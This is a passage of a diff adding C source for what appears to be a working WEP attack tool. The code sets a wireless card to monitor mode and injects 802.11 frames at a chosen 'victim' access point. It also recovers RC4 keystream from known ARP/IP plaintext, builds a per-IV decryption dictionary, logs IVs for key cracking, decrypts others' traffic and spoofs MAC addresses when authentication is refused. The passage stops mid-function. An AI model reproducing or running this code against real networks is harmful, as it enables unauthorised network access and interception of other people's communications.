+ time_print("Interface name too long...\n");
+ exit(1);
+ }
+
+ time_print("Setting up %s... ", dev);
+ fflush(stdout);
+
+ s = socket(PF_INET, SOCK_DGRAM, 0);
+ if (s == -1) {
+ perror("socket()");
+ exit(1);
+ }
+
+ // set iface up and promisc
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, dev);
+ if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
+ perror("ioctl(SIOCGIFFLAGS)");
+ exit(1);
+ }
+
+ flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
+ flags |= IFF_UP | IFF_PPROMISC;
+
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, dev);
+ ifr.ifr_flags = flags & 0xffff;
+ ifr.ifr_flagshigh = flags >> 16;
+ if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
+ perror("ioctl(SIOCSIFFLAGS)");
+ exit(1);
+ }
+
+ // set monitor mode
+ memset(&ifmr, 0, sizeof(ifmr));
+ strcpy(ifmr.ifm_name, dev);
+ if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
+ perror("ioctl(SIOCGIFMEDIA)");
+ exit(1);
+ }
+
+ if (ifmr.ifm_count == 0) {
+ time_print("0 media thinggies...\n");
+ exit(1);
+ }
+
+ mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
+ if (!mwords) {
+ perror("malloc()");
+ exit(1);
+ }
+ ifmr.ifm_ulist = mwords;
+
+ if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
+ perror("ioctl(SIOCGIFMEDIA)");
+ exit(1);
+ }
+ free(mwords);
+
+ memset(&ifr, 0, sizeof(ifr));
+ strcpy(ifr.ifr_name, dev);
+ ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
+ if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
+ perror("ioctl(SIOCSIFMEDIA)");
+ exit(1);
+ }
+
+ // set chan
+ memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
+ strcpy(chaninfo.ireq.i_name, dev);
+ chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
+
+ chaninfo.chan = 0;
+ chaninfo.s = s;
+ set_chan(1);
+
+ printf("done\n");
+}
+
+int open_bpf(char *dev, int dlt) {
+ int i;
+ char buf[64];
+ int fd = -1;
+ struct ifreq ifr;
+
+ for(i = 0;i < 16; i++) {
+ sprintf(buf, "/dev/bpf%d", i);
+
+ fd = open(buf, O_RDWR);
+ if(fd < 0) {
+ if(errno != EBUSY) {
+ perror("can't open /dev/bpf");
+ exit(1);
+ }
+ continue;
+ }
+ else
+ break;
+ }
+
+ if(fd < 0) {
+ perror("can't open /dev/bpf");
+ exit(1);
+ }
+
+ strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
+ ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
+
+ if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
+ perror("ioctl(BIOCSETIF)");
+ exit(1);
+ }
+
+ if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
+ perror("ioctl(BIOCSDLT)");
+ exit(1);
+ }
+
+ i = 1;
+ if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
+ perror("ioctl(BIOCIMMEDIATE)");
+ exit(1);
+ }
+
+ return fd;
+}
+
+void hexdump(unsigned char *ptr, int len) {
+ while(len > 0) {
+ printf("%.2X ", *ptr);
+ ptr++; len--;
+ }
+ printf("\n");
+}
+
+char* mac2str(unsigned char* mac) {
+ static char ret[6*3];
+
+ sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+ mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+
+ return ret;
+}
+
+void inject(int fd, void *buf, int len)
+{
+ static struct ieee80211_bpf_params params = {
+ .ibp_vers = IEEE80211_BPF_VERSION,
+ /* NB: no need to pass series 2-4 rate+try */
+ .ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
+ .ibp_rate0 = 2, /* 1 MB/s XXX */
+ .ibp_try0 = 1, /* no retransmits */
+ .ibp_flags = IEEE80211_BPF_NOACK,
+ .ibp_power = 100, /* nominal max */
+ .ibp_pri = WME_AC_VO, /* high priority */
+ };
+ struct iovec iov[2];
+ int rc;
+
+ iov[0].iov_base = &params;
+ iov[0].iov_len = params.ibp_len;
+ iov[1].iov_base = buf;
+ iov[1].iov_len = len;
+ rc = writev(fd, iov, 2);
+ if(rc == -1) {
+ perror("writev()");
+ exit(1);
+ }
+ if (rc != (len + iov[0].iov_len)) {
+ time_print("Error Wrote %d out of %d\n", rc,
+ len+iov[0].iov_len);
+ exit(1);
+ }
+}
+
+void send_frame(int tx, unsigned char* buf, int len) {
+ static unsigned char* lame = 0;
+ static int lamelen = 0;
+ static int lastlen = 0;
+
+ // retransmit!
+ if (len == -1) {
+ txstate.retries++;
+
+ if (txstate.retries > 10) {
+ time_print("ERROR Max retransmists for (%d bytes):\n",
+ lastlen);
+ hexdump(&lame[0], lastlen);
+ exit(1);
+ }
+ len = lastlen;
+// printf("Warning doing a retransmit...\n");
+ }
+ // normal tx
+ else {
+ assert(!txstate.waiting_ack);
+
+ if (len > lamelen) {
+ if (lame)
+ free(lame);
+
+ lame = (unsigned char*) malloc(len);
+ if(!lame) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ lamelen = len;
+ }
+
+ memcpy(lame, buf, len);
+ txstate.retries = 0;
+ lastlen = len;
+ }
+
+ inject(tx, lame, len);
+
+ txstate.waiting_ack = 1;
+ txstate.psent++;
+ if (gettimeofday(&txstate.tsent, NULL) == -1) {
+ perror("gettimeofday()");
+ exit(1);
+ }
+
+#if 0
+ printf("Wrote frame at %lu.%lu\n",
+ txstate.tsent.tv_sec, txstate.tsent.tv_usec);
+#endif
+}
+
+unsigned short fnseq(unsigned short fn, unsigned short seq) {
+ unsigned short r = 0;
+
+ if(fn > 15) {
+ time_print("too many fragments (%d)\n", fn);
+ exit(1);
+ }
+
+ r = fn;
+
+ r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
+
+ return r;
+}
+
+void fill_basic(struct ieee80211_frame* wh) {
+ unsigned short* sp;
+
+ memcpy(wh->i_addr1, victim.bss, 6);
+ memcpy(wh->i_addr2, mymac, 6);
+ memcpy(wh->i_addr3, victim.bss, 6);
+
+
+
+ sp = (unsigned short*) wh->i_seq;
+ *sp = fnseq(0, txstate.psent);
+
+ sp = (unsigned short*) wh->i_dur;
+ *sp = htole16(32767);
+}
+
+void send_assoc(int tx) {
+ unsigned char buf[128];
+ struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
+ unsigned char* body;
+ int ssidlen;
+
+ memset(buf, 0, sizeof(buf));
+ fill_basic(wh);
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
+
+ body = (unsigned char*) wh + sizeof(*wh);
+ *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
+ // cap + interval
+ body += 2 + 2;
+
+ // ssid
+ *body++ = 0;
+ ssidlen = strlen(victim.ssid);
+ *body++ = ssidlen;
+ memcpy(body, victim.ssid, ssidlen);
+ body += ssidlen;
+
+ // rates
+ *body++ = 1;
+ *body++ = 4;
+ *body++ = 2;
+ *body++ = 4;
+ *body++ = 11;
+ *body++ = 22;
+
+ send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
+ strlen(victim.ssid) + 2 + 4);
+}
+
+void wepify(unsigned char* body, int dlen) {
+ uLong crc;
+ unsigned long *pcrc;
+ int i;
+
+ assert(dlen + 4 <= prgainfo.len);
+
+ // iv
+ memcpy(body, prgainfo.iv, 3);
+ body +=3;
+ *body++ = 0;
+
+ // crc
+ crc = crc32(0L, Z_NULL, 0);
+ crc = crc32(crc, body, dlen);
+ pcrc = (unsigned long*) (body+dlen);
+ *pcrc = crc;
+
+ for (i = 0; i < dlen +4; i++)
+ *body++ ^= prgainfo.prga[i];
+}
+
+void send_auth(int tx) {
+ unsigned char buf[128];
+ struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
+ unsigned short* n;
+
+ memset(buf, 0, sizeof(buf));
+ fill_basic(wh);
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
+
+ n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
+ n++;
+ *n = 1;
+
+ send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
+}
+
+int get_victim_ssid(struct ieee80211_frame* wh, int len) {
+ unsigned char* ptr;
+ int x;
+ int gots = 0, gotc = 0;
+
+ if (len <= sizeof(*wh)) {
+ time_print("Warning: short packet in get_victim_ssid()\n");
+ return 0;
+ }
+
+ ptr = (unsigned char*)wh + sizeof(*wh);
+ len -= sizeof(*wh);
+
+ // only wep baby
+ if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
+ return 0;
+ }
+
+ // we want a specific victim
+ if (victim_mac) {
+ if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
+ return 0;
+ }
+
+ // beacon header
+ x = 8 + 2 + 2;
+ if (len <= x) {
+ time_print("Warning short.asdfasdf\n");
+ return 0;
+ }
+
+ ptr += x;
+ len -= x;
+
+ // SSID
+ while(len > 2) {
+ int eid, elen;
+
+ eid = *ptr;
+ ptr++;
+ elen = *ptr;
+ ptr++;
+ len -= 2;
+
+ if (len < elen) {
+ time_print("Warning short....\n");
+ return 0;
+ }
+
+ // ssid
+ if (eid == 0) {
+ if (victim.ssid)
+ free(victim.ssid);
+
+ victim.ssid = (char*) malloc(elen + 1);
+ if (!victim.ssid) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ memcpy(victim.ssid, ptr, elen);
+ victim.ssid[elen] = 0;
+ gots = 1;
+
+ }
+ // chan
+ else if(eid == 3) {
+ if( elen != 1) {
+ time_print("Warning len of chan not 1\n");
+ return 0;
+ }
+
+ victim.chan = *ptr;
+ gotc = 1;
+ }
+
+ ptr += elen;
+ len -= elen;
+ }
+
+ if (gots && gotc) {
+ memcpy(victim.bss, wh->i_addr3, 6);
+ set_chan(victim.chan);
+ state = FOUND_VICTIM;
+ time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
+ victim.ssid, mac2str(victim.bss), victim.chan);
+ return 1;
+ }
+ return 0;
+}
+
+// XXX: acks don't work for now... too slow!
+void send_ack(int tx) {
+ unsigned char buf[64];
+ struct ieee80211_frame* wh;
+
+ return;
+
+ wh = (struct ieee80211_frame*) &buf[0];
+
+ memset(buf, 0, sizeof(buf));
+ wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
+ memcpy(wh->i_addr1, victim.bss, 6);
+
+ inject(tx, buf, 10);
+#if 0
+ {
+ struct timeval tv;
+ gettimeofday(&tv, NULL);
+
+ printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec);
+ }
+#endif
+}
+
+void do_llc(unsigned char* buf, unsigned short type) {
+ struct llc* h = (struct llc*) buf;
+
+ memset(h, 0, sizeof(*h));
+ h->llc_dsap = LLC_SNAP_LSAP;
+ h->llc_ssap = LLC_SNAP_LSAP;
+ h->llc_un.type_snap.control = 3;
+ h->llc_un.type_snap.ether_type = htons(type);
+}
+
+void calculate_inet_clear() {
+ struct ip* ih;
+ struct udphdr* uh;
+ uLong crc;
+ unsigned long *pcrc;
+ int dlen;
+
+ memset(inet_clear, 0, sizeof(inet_clear));
+
+ do_llc(inet_clear, ETHERTYPE_IP);
+
+ ih = (struct ip*) &inet_clear[8];
+ ih->ip_hl = 5;
+ ih->ip_v = 4;
+ ih->ip_tos = 0;
+ ih->ip_len = htons(20+8+PRGA_LEN);
+ ih->ip_id = htons(666);
+ ih->ip_off = 0;
+ ih->ip_ttl = ttl_val;
+ ih->ip_p = IPPROTO_UDP;
+ ih->ip_sum = 0;
+ inet_aton(floodip, &ih->ip_src);
+ inet_aton(myip, &ih->ip_dst);
+ ih->ip_sum = in_cksum((unsigned short*)ih, 20);
+
+ uh = (struct udphdr*) ((char*)ih + 20);
+ uh->uh_sport = htons(floodport);
+ uh->uh_dport = htons(floodsport);
+ uh->uh_ulen = htons(8+PRGA_LEN);
+ uh->uh_sum = 0;
+ uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
+ &ih->ip_src, &ih->ip_dst);
+
+ // crc
+ dlen = 8 + 20 + 8 + PRGA_LEN;
+ assert (dlen + 4 <= sizeof(inet_clear));
+
+ crc = crc32(0L, Z_NULL, 0);
+ crc = crc32(crc, inet_clear, dlen);
+ pcrc = (unsigned long*) (inet_clear+dlen);
+ *pcrc = crc;
+
+#if 0
+ printf("INET %d\n", sizeof(inet_clear));
+ hexdump(inet_clear, sizeof(inet_clear));
+#endif
+}
+
+void set_prga(unsigned char* iv, unsigned char* cipher,
+ unsigned char* clear, int len) {
+
+ int i;
+ int fd;
+
+ if (prgainfo.len != 0)
+ free(prgainfo.prga);
+
+ prgainfo.prga = (unsigned char*) malloc(len);
+ if (!prgainfo.prga) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ prgainfo.len = len;
+ memcpy(prgainfo.iv, iv, 3);
+
+ for (i = 0; i < len; i++) {
+ prgainfo.prga[i] = ( cipher ? (clear[i] ^ cipher[i]) :
+ clear[i]);
+ }
+
+ time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
+ prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
+ hexdump(prgainfo.prga, prgainfo.len);
+
+ if (!cipher)
+ return;
+
+ fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
+ S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+
+ if (fd == -1) {
+ perror("open()");
+ exit(1);
+ }
+
+ i = write(fd, prgainfo.iv, 3);
+ if (i == -1) {
+ perror("write()");
+ exit(1);
+ }
+ if (i != 3) {
+ printf("Wrote %d out of %d\n", i, 3);
+ exit(1);
+ }
+
+ i = write(fd, prgainfo.prga, prgainfo.len);
+ if (i == -1) {
+ perror("write()");
+ exit(1);
+ }
+ if (i != prgainfo.len) {
+ printf("Wrote %d out of %d\n", i, prgainfo.len);
+ exit(1);
+ }
+
+ close(fd);
+}
+
+
+void log_dictionary(unsigned char* body, int len) {
+ char paths[3][3];
+ int i, rd;
+ int fd;
+ unsigned char path[128];
+ unsigned char file_clear[sizeof(inet_clear)];
+ unsigned char* data;
+
+ len -= 4; // IV etc..
+ assert (len == sizeof(inet_clear));
+
+ data = body +4;
+
+ if (len > prgainfo.len)
+ set_prga(body, data, inet_clear, len);
+
+
+ for (i = 0; i < 3; i++)
+ snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
+
+
+ strcpy(path, DICT_PATH);
+
+
+ // first 2 bytes
+ for (i = 0; i < 2; i++) {
+ strcat(path, "/");
+ strcat(path, paths[i]);
+ fd = open(path, O_RDONLY);
+ if (fd == -1) {
+ if (errno != ENOENT) {
+ perror("open()");
+ exit(1);
+ }
+
+ if (mkdir(path, 0755) == -1) {
+ perror("mkdir()");
+ exit(1);
+ }
+ }
+ else
+ close(fd);
+ }
+
+ // last byte
+ strcat(path, "/");
+ strcat(path, paths[2]);
+
+ fd = open(path, O_RDWR);
+ // already exists... see if we are consistent...
+ if (fd != -1) {
+ rd = read(fd, file_clear, sizeof(file_clear));
+
+ if (rd == -1) {
+ perror("read()");
+ exit(1);
+ }
+
+ // check consistency....
+ for (i = 0; i < rd; i++) {
+ if (file_clear[i] !=
+ (data[i] ^ inet_clear[i])) {
+
+ printf("Mismatch in byte %d for:\n", i);
+ hexdump(body, len+4);
+ exit(1);
+ }
+ }
+
+ // no need to log
+ if (i >= sizeof(inet_clear)) {
+#if 0
+ time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
+ body[0], body[1], body[2]);
+#endif
+ close(fd);
+ return;
+ }
+
+ // file has less... fd still open
+
+ } else {
+ fd = open(path, O_WRONLY | O_CREAT, 0644);
+ if (fd == -1) {
+ printf("Can't open (%s): %s\n", path,
+ strerror(errno));
+ exit(1);
+ }
+ }
+
+ assert (sizeof(file_clear) >= sizeof(inet_clear));
+
+ for(i = 0; i < len; i++)
+ file_clear[i] = data[i] ^ inet_clear[i];
+
+ rd = write(fd, file_clear, len);
+ if (rd == -1) {
+ perror("write()");
+ exit(1);
+ }
+ if (rd != len) {
+ printf("Wrote %d of %d\n", rd, len);
+ exit(1);
+ }
+ close(fd);
+}
+
+void stuff_for_us(struct ieee80211_frame* wh, int len) {
+ int type,stype;
+ unsigned char* body;
+
+ type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+ stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+ body = (unsigned char*) wh + sizeof(*wh);
+
+ // CTL
+ if (type == IEEE80211_FC0_TYPE_CTL) {
+ if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
+ txstate.waiting_ack = 0;
+ return;
+ }
+
+ if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
+ return;
+ }
+
+ if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
+ return;
+ }
+ time_print ("got CTL=%x\n", stype);
+ return;
+ }
+
+ // MGM
+ if (type == IEEE80211_FC0_TYPE_MGT) {
+ if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
+ unsigned short* rc = (unsigned short*) body;
+ printf("\n");
+ time_print("Got deauth=%u\n", le16toh(*rc));
+ state = FOUND_VICTIM;
+ return;
+ exit(1);
+ }
+ else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
+ unsigned short* sc = (unsigned short*) body;
+
+ if (*sc != 0) {
+ time_print("Warning got auth algo=%x\n", *sc);
+ exit(1);
+ return;
+ }
+ sc++;
+
+ if (*sc != 2) {
+ time_print("Warning got auth seq=%x\n", *sc);
+ return;
+ }
+
+ sc++;
+
+ if (*sc == 1) {
+ time_print("Auth rejected... trying to spoof mac.\n");
+ state = SPOOF_MAC;
+ return;
+ }
+ else if (*sc == 0) {
+ time_print("Authenticated\n");
+ state = GOT_AUTH;
+ return;
+ }
+ else {
+ time_print("Got auth %x\n", *sc);
+ exit(1);
+ }
+ }
+ else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
+ unsigned short* sc = (unsigned short*) body;
+ sc++; // cap
+
+ if (*sc == 0) {
+ sc++;
+ unsigned int aid = le16toh(*sc) & 0x3FFF;
+ time_print("Associated (ID=%x)\n", aid);
+ state = GOT_ASSOC;
+ return;
+ } else {
+ time_print("got assoc %x\n", *sc);
+ exit(1);
+ }
+ } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
+ return;
+ }
+
+ time_print("\nGOT MAN=%x\n", stype);
+ exit(1);
+ }
+
+ if (type == IEEE80211_FC0_TYPE_DATA &&
+ stype == IEEE80211_FC0_SUBTYPE_DATA) {
+ int dlen;
+ dlen = len - sizeof(*wh) - 4 -4;
+
+ if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
+ time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
+ mac2str(wh->i_addr2), dlen, stype);
+ return;
+ }
+
+ assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
+
+ if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
+ rtrmac = (unsigned char *) malloc(6);
+ if (!rtrmac) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ assert( rtrmac > (unsigned char*) 1);
+
+ memcpy (rtrmac, wh->i_addr3, 6);
+ time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
+
+ return;
+ }
+#if 0
+ // check if its a TTL update from dictionary stuff
+ if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
+ dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
+ int ttl_delta, new_ttl;
+
+ ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
+ new_ttl = 128 - ttl_delta;
+
+ if (ttl_val && new_ttl != ttl_val) {
+ time_print("oops. ttl changed from %d to %d\n",
+ ttl_val, new_ttl);
+ exit(1);
+ }
+
+ if (!ttl_val) {
+ ttl_val = new_ttl;
+ printf("\n");
+ time_print("Got TTL of %d\n", ttl_val);
+ calculate_inet_clear();
+ }
+ }
+
+ // check if its dictionary data
+ if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
+ log_dictionary(body, len - sizeof(*wh));
+ }
+#endif
+ }
+
+#if 0
+ printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
+ type, stype, mac2str(wh->i_addr2), len);
+#endif
+}
+
+void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
+ unsigned char* body;
+ int bodylen;
+ unsigned char clear[36];
+ unsigned char* ptr;
+ struct arphdr* h;
+ int i;
+
+ body = (unsigned char*) wh+sizeof(*wh);
+ ptr = clear;
+
+ // calculate clear-text
+ memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
+ ptr += sizeof(arp_clear) -1;
+
+ h = (struct arphdr*)ptr;
+ h->ar_hrd = htons(ARPHRD_ETHER);
+ h->ar_pro = htons(ETHERTYPE_IP);
+ h->ar_hln = 6;
+ h->ar_pln = 4;
+ h->ar_op = htons(ARPOP_REQUEST);
+ ptr += sizeof(*h);
+
+ memcpy(ptr, wh->i_addr3, 6);
+
+ bodylen = rd - sizeof(*wh) - 4 - 4;
+ decryptstate.clen = bodylen;
+ decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
+ if (!decryptstate.cipher) {
+ perror("malloc()");
+ exit(1);
+ }
+ decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
+ if (!decryptstate.prgainfo.prga) {
+ perror("malloc()");
+ exit(1);
+ }
+
+
+ memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
+ memcpy(decryptstate.prgainfo.iv, body, 3);
+
+ memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
+ for(i = 0; i < (8+8+6); i++) {
+ decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
+ clear[i];
+ }
+
+ decryptstate.prgainfo.len = i;
+ time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
+}
+
+void log_wep(unsigned char* body, int len) {
+ unsigned char log[5];
+ int rd;
+
+ if (body[3] != 0) {
+ time_print("Key index=%x!!\n", body[3]);
+ exit(1);
+ }
+
+ memcpy(log, body, 3);
+ memcpy(&log[3], &body[4], 2);
+
+ rd = write(weplog.fd, log, sizeof(log));
+
+ if (rd == -1) {
+ perror("write()");
+ exit(1);
+ }
+ if (rd != sizeof(log)) {
+ time_print("short write %d out of %d\n", rd, sizeof(log));
+ exit(1);
+ }
+
+#if 0
+ if (fsync(weplog.fd) == -1) {
+ perror("fsync()");
+ exit(1);
+ }
+#endif
+
+ memcpy(weplog.iv, body, 3);
+ weplog.packets++;
+}
+
+void try_dictionary(struct ieee80211_frame* wh, int len) {
+ unsigned char *body;
+ char path[52];
+ char paths[3][3];
+ int i;
+ int fd, rd;
+ unsigned char packet[4096];
+ int dlen;
+ struct ether_header* eh;
+ uLong crc;
+ unsigned long *pcrc;
+ unsigned char* dmac, *smac;
+
+ assert (len < sizeof(packet) + sizeof(*eh));
+
+ body = (unsigned char*) wh + sizeof(*wh);
+
+ for (i = 0; i < 3; i++)
+ snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
+
+ sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
+
+ fd = open(path, O_RDONLY);
+ if (fd == -1)
+ return;
+
+ rd = read(fd, &packet[6], sizeof(packet)-6);
+ if (rd == -1) {
+ perror("read()");
+ exit(1);
+ }
+ close(fd);
+
+
+ dlen = len - sizeof(*wh) - 4;
+ if (dlen > rd) {
+ printf("\n");
+ time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
+ dlen);
+ return;
+ }
+
+ body += 4;
+ for (i = 0; i < dlen; i++)
+ packet[6+i] ^= body[i];
+
+ dlen -= 4;
+ crc = crc32(0L, Z_NULL, 0);
+ crc = crc32(crc, &packet[6], dlen);
+ pcrc = (unsigned long*) (&packet[6+dlen]);
+
+ if (*pcrc != crc) {
+ printf("\n");
+ time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
+ path, *pcrc, crc);
+ return;
+ }
+
+ // fill ethernet header
+ eh = (struct ether_header*) packet;
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+ smac = wh->i_addr3;
+ else
+ smac = wh->i_addr2;
+
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+ dmac = wh->i_addr3;
+ else
+ dmac = wh->i_addr1;
+
+ memcpy(eh->ether_dhost, dmac, 6);
+ memcpy(eh->ether_shost, smac, 6);
+ // ether type should be there from llc
+
+ dlen -= 8; // llc
+ dlen += sizeof(*eh);
+
+#if 0
+ printf("\n");
+ time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
+ hexdump(packet, dlen);
+#endif
+
+ rd = write(tapfd, packet, dlen);
+ if (rd == -1) {
+ perror("write()");
+ exit(1);
+ }
+ if (rd != dlen) {
+ printf("Wrote %d / %d\n", rd, dlen);
+ exit(1);
+ }
+}
+
+void got_wep(struct ieee80211_frame* wh, int rd) {
+ int bodylen;
+ int dlen;
+ unsigned char *clear;
+ int clearsize;
+ unsigned char *body;
+
+ bodylen = rd - sizeof(struct ieee80211_frame);
+
+ dlen = bodylen - 4 - 4;
+ body = (unsigned char*) wh + sizeof(*wh);
+
+
+ // log it if its stuff not from us...
+ if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
+ ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
+ memcmp(wh->i_addr2, mymac, 6) != 0) ) {
+
+ log_wep(body, dlen + 8);
+
+ // try to decrypt too
+ try_dictionary(wh, rd);
+ }
+
+ // look for arp-request packets... so we can decrypt em
+ if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
+ (memcmp(wh->i_addr3, mymac, 6) != 0) &&
+ (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
+ (dlen == 36 || dlen == PADDED_ARPLEN) &&
+ !decryptstate.cipher &&
+ !netip) {
+ decrypt_arpreq(wh, rd);
+ }
+
+ // we have prga... check if its our stuff being relayed...
+ if (prgainfo.len != 0) {
+ // looks like it...
+ if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
+ (memcmp(wh->i_addr3, mymac, 6) == 0) &&
+ (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
+ dlen == fragstate.len) {
+
+// printf("I fink AP relayed it...\n");
+ set_prga(body, &body[4], fragstate.data, dlen);
+ free(fragstate.data);
+ fragstate.data = 0;
+ fragstate.waiting_relay = 0;
+ }
+
+ // see if we get the multicast stuff of when decrypting
+ if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
+ (memcmp(wh->i_addr3, mymac, 6) == 0) &&
+ (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
+ dlen == 36) {
+
+ unsigned char pr = wh->i_addr1[5];
+
+ printf("\n");
+ time_print("Got clear-text byte: %d\n",
+ decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
+
+ decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
+ decryptstate.prgainfo.len++;
+ decryptstate.fragstate.waiting_relay = 1;
+
+ // ok we got the ip...
+ if (decryptstate.prgainfo.len == 26+1) {
+ unsigned char ip[4];
+ int i;
+ struct in_addr *in = (struct in_addr*) ip;
+ unsigned char *ptr;
+
+ for (i = 0; i < 4; i++)
+ ip[i] = decryptstate.cipher[8+8+6+i] ^
+ decryptstate.prgainfo.prga[8+8+6+i];
+
+ assert(!netip);
+ netip = (unsigned char*) malloc(16);
+ if(!netip) {
+ perror("malloc()");
+ exit(1);
+ }
+
+ memset(netip, 0, 16);
+ strcpy(netip, inet_ntoa(*in));
+
+ time_print("Got IP=(%s)\n", netip);
+ strcpy(myip, netip);
+
+ ptr = strchr(myip, '.');
+ assert(ptr);
+ ptr = strchr(ptr+1, '.');
+ assert(ptr);
+ ptr = strchr(ptr+1, '.');
+ assert(ptr);
+ strcpy(ptr+1,"123");
+
+ time_print("My IP=(%s)\n", myip);
+
+
+ free(decryptstate.prgainfo.prga);
+ free(decryptstate.cipher);
+ memset(&decryptstate, 0, sizeof(decryptstate));
+ }
+ }
+ return;
+ }
+
+
+ time_print("Datalen=%d Assuming: ", dlen);
+ if (dlen == ARPLEN || dlen == PADDED_ARPLEN) {
+ clear = arp_clear;
+ clearsize = sizeof(arp_clear) - 1;
+ printf("ARP\n");
+ } else {
+ clear = ip_clear;
+ clearsize = sizeof(ip_clear) - 1;
+ printf("IP\n");
+ }
+
+ set_prga(body, &body[4], clear, clearsize);
+}
+
+void stuff_for_net(struct ieee80211_frame* wh, int rd) {
+ int type,stype;
+
+ type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+ stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+
+ if (type == IEEE80211_FC0_TYPE_DATA &&
+ stype == IEEE80211_FC0_SUBTYPE_DATA) {
+ int dlen = rd - sizeof(struct ieee80211_frame);
+
+ if (state == SPOOF_MAC) {
+ unsigned char mac[6];
+ if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
+ memcpy(mac, wh->i_addr3, 6);
